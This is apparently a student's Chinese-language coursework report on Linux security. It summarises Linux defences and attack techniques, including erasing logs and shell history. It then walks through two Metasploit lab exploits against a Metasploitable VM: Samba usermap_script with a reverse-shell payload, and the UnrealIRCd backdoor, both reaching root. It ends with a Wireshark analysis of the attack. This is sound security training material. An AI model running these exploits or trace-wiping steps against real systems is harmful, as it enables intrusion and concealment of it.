前言
问题 | 回答 |
---|---|
这个作业属于那个课程 | 网络攻防实践 |
这个作业的要求在哪里 | 《网络攻防实践》第八周作业 |
学习内容 | 第八章 Linux操作系统安全攻防 |
1.知识点梳理与总结
Linux系统结构
-
进程与线程管理:Linux是多用户多进程的模式,多个进程同时运行,由专门的模块来分配资源。
-
内存管理:Linux中每个进程有着独立的 4 g 的内存空间,内核代码映射到 3 g 的内存空间上,用户态的则为0-3 g。
-
文件管理机制:Linux将设备抽象成了一个文件来对待,支持三种硬件设备:字符设备、块设备和网络设备。字符设备直接进行读写,没有缓冲区;块设备以块为单位进行读写;网络设备通过网络接口进行访问。
-
网络机制:Linux的网络接口可以分为协议栈和驱动程序。协议栈负责实现各种可能的网络协议,驱动程序负责和硬件交互。
Linux操作系统内核结构图如下:
Linux操作系统安全机制
1、身份认证机制
-
Linux用户
root用户:系统中是唯一的超级用户,可以操作系统中任何文件与命令
普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容
系统用户:不具有登录系统的能力,但是是系统运行不可缺少的用户 -
Linux用户组
具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的/etc/group
文件中,加密口令保存在/etc/gshadow
中。 -
Linux本地登录用户认证机制(控制台)
Linux通过
init进程
执行启动getty
产生若干个虚拟控制台,每个控制台执行login
进程执行认证过程,认证通过之后,login进程
会fork响应的Shell子进程
,至此完成登录过程。再这个过程中,使用带salt的密文保存密码,加密算法为若干种加密算法的选择。 -
Linux远程登录用户认证机制(ssh服务)
第一种是基于口令的身份认证机制;第二种是基于非对称密码的身份认证机制。此外Linux系统中的大量网络服务都实现了自己的身份认证机制,如
MD5散列
、LANMANNTLM
散列算法等等。 -
Linux的统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。而PAM服务模块的开发者则利用PAM SPI来编写认证模块。PAM核心库则读取配置文件。PAM支持的四种管理界面如下:(1) 认证管理 (2) 账户管理 (3) 密码管理 (4) 会话管理
2、授权与访问控制机制
- 文件所有者:Linux把所有的东西都看成文件。每个Linux文件都有其所有者。可以通过
chown
命令来改变文件的所有者。 - 访问权限:Linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。例如第一组为
rwx
,意思是所有者用拥有读(r)写(w)执行(x)的权限。第二组第三组分别为同组内其他用户的权限,其他用户的权限。如果没有权限,用 - 表示。如r--
,意思是只有读的权限。 - 执行权限:上面说的除了读写之外还有一个执行权限,常见的是
SUID
和SGID
权限。SUID
是党执行者再执行权限的时候,会将自己的权限提升到所有者的权限。如果说一个文件设置了SUID
位,而这个文件的所有者是root
,那某个用户在执行这个文件的时候,就有了root
文件权限。
3、安全审计机制
主要通过三个日志子系统来实现:
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志记录:由通用日志记录服务执行 。
Linux系统远程攻防技术
1、远程口令字猜测攻击
- Linux远程口令字猜测攻击: 通过前面提到的服务嗅探用户账户名或者使用缺省内件账户的用户名进行密码猜测。 除了
SSH
网络服务之外,还可以通过对HTTP/HTTPS
、FTP
等用于自己账户体系和身份认证机制的网络服务进行猜测。 - 自动化远程口令猜测工具(
brutus
、thc hydra
、cain and abel
) - 防御措施: 不要再自己登录的所有系统上都使用相同的口令字 ,使用不宜猜中的强口令。
2、网络服务远程渗透攻击
-
Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台,因此一旦这些代码中存在具有远程代码执行危害后果的安全漏洞。
-
LAMP
服务:以Linux操作系统作为网站服务器运行平台,Apache
提供基于HTTP/HTTPS
的网页服务,MySQL
数据库管理系统作为web应用程序的后台数据存储,而以PHP
语言来开发与实现web
应用程序。由于LAMP
组合方案在web
服务器中的主导地位,使得组合内服务扩展模块成为Linux系统主要的远程攻击渗透目标。 -
文件共享服务协议:
FTP
服务、Samba
服务,以及类UNIX系统中继承而来的NFS
服务,都是黑客破解关键系统必须尝试的攻击通道。Samba
是用来让Linux等操作系统与微软Windows系统SMB/CIFS
网络协议相连接的网络服务,FTP
服务用于文件交换和共享传输。 -
sendmail
服务:类UNIX操作系统上最为流行的电子邮件收发服务 。 -
其他常用的网络服务有:
openssh tcp22、openssl tcp443、nfs tcp/udp2049、snmp tcp161/162、sunrpc tcp111、bind tcp/udp53、x-windows tcp6000
-
安全防范措施:禁用所有不需要的网络服务,选择更加安全的网络协议与服务软件,并使用最佳安全实践进行部署,及时更新网络服务版本,使用
xinetd
、防火墙为Linux网络服务添加网络访问控制机制,建立入侵检测与应急响应计划流程。
3、攻击客户端程序和用户
- 攻击Linux平台上的客户端程序:大家最常用的程序时web程序和电子邮件程序。而lilnux上最常用的就是
firefox
的web
浏览器。书上也给了firefox
和电子邮件客户端thunderbird
的漏洞。 - 攻击Linux用户:在难以攻破服务器的时候,可以通过电话、电子邮件等各种方式来用社会工程学的方法向服务器管理员套取各种信息,或者让其执行某些恶意程序。
4、攻击路由器和监听器
- Linux作为路由器或者开启混杂模式时,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
- Linux在进行监听的时候,主要的软件有
libpcap、tcpdump、wireshark、snort
。除了libpcap
之外,其他的都或多或少有些漏洞。
Linux系统本地安全攻防技术
1、本地特权提升
- 在攻击者获得了访问权之后,提权的最简单的方法就是获得
root
的用户口令,然后提权。除了第一种方法,攻击者还可以利用su
或者sudo
的漏洞进行提权。最常见的攻击方法是攻击那些有root
特权程序的代码的漏洞。途径分为攻击SUID
特权提升漏洞和攻击Linux内核代码特权提升漏洞。第一种在之前提到过,第二种的原理是在运行linux kernel
以及第三方内核驱动程序的时候会有完全的系统控制权,而其中的漏洞自然成了攻击者的目标。
2、消灭访问踪迹
- Linux的审计日志主要集中在
/var/log
下,一般攻击者在攻陷Linux之后,会去修改日志,不留下自己的踪迹。 - 通过对
message
、auth
、secure
和xferlog
等日志文件进行修改进行日志的清理,通过对.bahs_history
文件的清理,清理shell的命令痕迹。
3、远程控制后门程序
- 通过替换对系统原有的远程登录程序进行替换实现后门,通过图形化远程控制软件例如
VNC
实现攻击。
2.实践
2.1动手实践:使用Metasploit进行Linux远程渗透攻击
题目:攻击Linux靶机上的Samba
服务usermap_script
安全漏洞,获取目标Linux靶机的主机访问权限。
-
攻击机kali IP :
192.168.0.16
-
靶机 Metasploitable IP :
192.168.0.14
-
攻击模块:
exploir/multi/usermap_script
-
攻击载荷:
cmd/unix/reverse
实践过程
- 漏洞介绍:
Samba
协议的一个漏洞CVE-2007-2447
,用户名映射脚本命令执行,影响Samba的3.0.20到3.0.25rc3 版本。当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。 - 使用命令
search Samba
查找利用该漏洞的模块
-
使用命令
use exploit/multi/samba/usermap_script
使用该模块进行攻击使用命令
set PAYLOAD cmd/unix/reverse
设置攻击载荷使用命令
show options
查看需要设置的参数
-
使用命令
set RHOST 192.168.0.14
设置靶机IP地址使用命令
set LHOST 192.168.0.16
设置攻击机IP地址使用命令
exploit
开始攻击
-
使用命令
whoami
查看当前用户权限为root
使用命令
ifconfig
确认靶机IP地址无误
2.2实践作业:攻防对抗实践
题目:攻击方使用metasploit
,选择靶机中发现的漏洞进行攻击,获得远程控制权,并尝试进一步获得root
权限。防守方使用tcpdump/wireshark/snort
进行监听获得数据包文件,结合分析过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用shellcode
、以及成功之后在命令行输入的信息。
- 攻击机kali IP :
192.168.0.16
- 靶机 Metasploitable IP :
192.168.0.14
- 目标漏洞:
UnrealIRCd 3.2.8.1
- 漏洞原理:在
DEBUG3_DOLOG_SYSTEM
宏中包含外部引入的修改(特洛伊木马),远程攻击者可执行任意命令。 - 攻击模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
实践过程
- 使用
Nessus
软件对靶机进行扫描,选择IRC服务器的一个漏洞,其带有后门。
- 点击漏洞详情,发现漏洞编号
CVE-2010-2075
。
- 在攻击机中使用命令
search CVE-2010-2075
搜索可用模块
-
使用命令
use exploit/unix/irc/unreal_ircd_3281_backdoor
设置攻击模块使用命令
show options
查看需要设置的参数使用命令
set RHOST 192.168.0.14
设置靶机IP使用命令
run
开始攻击
-
使用命令
whoami
查看权限为root
使用命令
ifconfig
验证靶机无误
- 攻击过程结束,在上述过程中
run
命令开始前,使用wireshark
捕获数据包分析攻击详情。
容易看出在192.168.0.14
和192.168.0.16
之间有大量的TCP通信数据包,根据TCP三次握手判断攻击机IP为192.168.0.16
,端口为36513
,靶机IP为192.168.0.14
,端口为6667
。
- 查阅资料发现6667端口是一种Kerberos(工程 Athena/MIT)端口,提供ircd服务(互联网中继聊天守护进程)。故初步判断这是一次针对ircd的攻击。
- 打开通信过程中的IRC数据包,追踪TCP流,可以发现攻击者使用的shellcode。``
- 通过追踪TCP流确定攻击成功之后攻击机在靶机执行的命令,为
ls
、whoami
、ifconfig
。
3.学习中遇到的问题及解决
- 问题:实践二寻找可利用漏洞时花了不少时间
- 解决:耐心耐心耐心,还好最后功夫不负有心人
4.学习感想和体会
本次实验内容和上次相似,故整个过程较为顺利,开开心心~
参考资料
-
《网络攻防技术与实践》(诸葛建伟著)